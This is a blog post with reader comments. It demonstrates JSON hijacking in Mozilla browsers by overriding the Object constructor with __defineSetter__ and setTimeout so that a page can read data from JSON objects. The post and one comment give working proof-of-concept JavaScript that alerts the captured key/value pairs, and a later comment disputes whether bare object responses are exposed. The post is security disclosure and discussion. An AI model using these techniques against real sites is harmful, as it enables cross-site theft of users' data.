<< JSON is not as safe as people think it is | Home | DWR/Netbeans Plug-in >>

JSON is not as safe as people think it is, part 2

Yesterday, I blogged about how to steal data from JSON by overriding the Array constructor. Today, we break into Objects too.

Mark Goodwin submitted a non-deprecated syntax that uses the __defineSetter__ feature, which was a good start (Aside: does anyone else think that's ugly?). Over iChat he also invented a setTimeout tweak, and I ported it over to Object.

So now you can steal data from any JSON object:

<script type="text/javascript">
var obj;
function Object() {
  obj = this;
  // define a setter for the killme property
  this.__defineSetter__('killme', function(x) {
    for (key in obj) {
      if (key != 'killme') {
        alert('Data stolen from array: ' + key + '=' + obj[key]);
      }
    }
  });
  // call the setter when the JSON parse is done
  setTimeout("obj['killme']=2;", 0);
}
</script>
<button onclick="({ 'data':'wibble' })">Hack</button>

It's still not going to work anywhere but Mozilla, but now that's only because the JavaScript interpreters in the other browsers are out of date.

Tags :


Re: JSON is not as safe as people think it is, part 2

This is, of course, very easy to generalise beyond a single object:

<script type="text/javascript">
var toSteal=[];
var idx=0;

function steal(key){
  toSteal[key]['killme']=0;
}

function Object() {
  var obj = this;
  var curr = idx++;
  toSteal[curr] = obj;
  
  // define a setter for the killme property
  this.__defineSetter__('killme', function(x) {
    for (key in obj) {
      if (key != 'killme') {
        alert('Data stolen from array: ' + key + '=' + obj[key]);
      } 
    }
  });

  // Steal the data when the JSON parse is done
  setTimeout('steal('+curr+')',0);
}
</script>
<button onclick="({'foo':'bar'});({ 'data':'wibble' })">demonstrate</button>

Re: JSON is not as safe as people think it is, part 2

your code can't run on firefox,which type of broswer it could run on, and when i return json i use '{..}' not the '({...})' format,does it matter?

Re: JSON is not as safe as people think it is, part 2

The code runs just fine for me on Firefox.

The () are there to ensure that the script interpreter sees the code as JSON and not a code block. It's an artifact of the way it's included in the page.

Re: JSON is not as safe as people think it is, part 2

I can't see how this hack would allow an exploit if a JSON serialized object is returned. The button in your example works because of the () around the JSON, but without those braces, the hack fails (as the script can't be eval'd). In a real CSRF attack we need to include a script block with the src pointing to the vulnerable JSON resource. If this resource returns a JSON object without any var assignment, callback function, or surrounding braces then aren't we safe? This can be simulated in your example by adding a second script block with nothing but
{"foo":"bar"}
in it. I have tried this in Firefox, IE, Opera and Safari and have been unable to access that JSON data with the hack. I agree with your previous assessment that using the double cookie submission pattern is the safest approach, but I can't convince myself that the hack you detail in this article is a real danger.

Add a comment Send a TrackBack